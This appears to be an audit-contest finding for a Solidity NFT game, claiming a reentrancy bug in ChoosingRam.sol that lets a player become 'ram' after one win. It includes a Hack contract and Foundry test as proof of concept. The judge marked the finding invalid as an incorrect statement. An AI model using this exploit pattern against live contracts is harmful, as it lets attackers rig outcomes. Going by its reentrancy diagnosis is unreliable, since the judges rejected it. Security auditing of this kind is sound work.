Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Invalid

Reentrancy in `ChoosingRam.sol::increaseValuesOfParticipants` means you only have to win once to become ram.

Summary

Reentrancy in ChoosingRam.sol::increaseValuesOfParticipants means you only have to win once to become ram instead of 5 times.

Vulnerability Details

You can create a contract that enters and calls ChoosingRam.sol::increaseValuesOfParticipants and then checks whether it won. If it did win, it calls the same function again 4 times in the same transaction. If it didn't win, it waits for a different combination of block.timestamp and block.prevrandao and tries again.
Proof of Code:
Hack contract:

contract Hack is IERC721Receiver {
Dussehra dussehra;
ChoosingRam choosingRam;
RamNFT ramNFT;
uint256 public tokenId;
constructor(Dussehra _dussehra, ChoosingRam _choosingRam, RamNFT _ramNFT) payable {
require(msg.value == 10 ether, "Need to send 1 ether");
dussehra = _dussehra;
choosingRam = _choosingRam;
ramNFT = _ramNFT;
tokenId = ramNFT.getNextTokenId();
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
}
function onERC721Received(address, address, uint256, bytes calldata) external override returns (bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
function hack() public {
choosingRam.increaseValuesOfParticipants(tokenId, 0);
if (ramNFT.getCharacteristics(tokenId).isJitaKrodhah) {
choosingRam.increaseValuesOfParticipants(tokenId, 0);
choosingRam.increaseValuesOfParticipants(tokenId, 0);
choosingRam.increaseValuesOfParticipants(tokenId, 0);
choosingRam.increaseValuesOfParticipants(tokenId, 0);
}
}
}

Test to run in Dussehra.t.sol:

function test_canReenter() public participants {
vm.warp(1722470400);
vm.prevrandao(bytes32(0));
Hack hack = new Hack{value: 10 ether}(dussehra, choosingRam, ramNFT);
for (uint256 i = 0; i < 100; i++) {
vm.warp(1722470400 + i);
hack.hack();
if (ramNFT.getCharacteristics(hack.tokenId()).isJitaKrodhah) {
break;
}
}
assertEq(choosingRam.selectedRam(), address(hack));
}

Impact

Because of this, you only need to win one 50/50 battle vs a challenger, instead of 5. This means a user that uses this can greatly increase their odds of becoming ram. However, no funds are at risk as a user that attains ram through this method is unable to withdraw due to another bug. This merely makes the event less fair for users that don't use this.

Tools Used

Manual review

Recommendations

Use a reentrancy guard such as openzeppelins reentrancyGaurd. https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard. This will prevent users from calling the function multiple times in the same transaction.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.